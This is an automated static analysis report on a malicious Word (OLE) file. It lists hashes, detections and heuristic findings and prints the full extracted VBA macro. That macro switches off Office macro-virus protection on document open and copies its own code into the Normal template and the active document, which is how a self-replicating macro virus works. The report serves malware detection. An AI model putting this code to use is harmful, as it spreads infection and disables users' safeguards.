Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 01672421dad38e4a…

MALICIOUS

Office (OLE)

38.0 KB Created: 2008-09-22 19:15:00 Authoring application: Microsoft Word 10.0 First seen: 2014-05-13
MD5: 6cecb7b1bb7bbb95fe0d27c4da21feb7 SHA-1: 9d273e69bbcac6cb88e4e3136ef4c6e3da453caa SHA-256: 01672421dad38e4a078101d2d16c0e39345f4835d71d8b7949edd54f5299479f
148 Risk Score

Heuristics 4

  • ClamAV: Doc.Trojan.Marker-35 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-35
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    'Switch the VirusProtection OFF
Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
'

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1589 bytes
SHA-256: 925568a6337386888e12235597bd3cd538a50ee920a2908a760a1561755ed1d2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'
' ********** Anti-Virus macro by Patrick **********
'
' <- this is a marker!
' DO NOT delete or alter the above marker line since the original virus looks for it
' and will not infect the document if the above line exists

Const Marker = "Patricks marker!"
On Error Resume Next

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInnoculated, NormalTemplateInnoculated As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInnoculated = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInnoculated = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)

'Switch the VirusProtection OFF
Options.VirusProtection = False

  'Innoculate the NormalTemplate
  If DocumentInnoculated = True Then
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    NormalTemplate.Save
  End If

  'Innoculate the ActiveDocument
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    ActiveDocument.Save
  
End Sub

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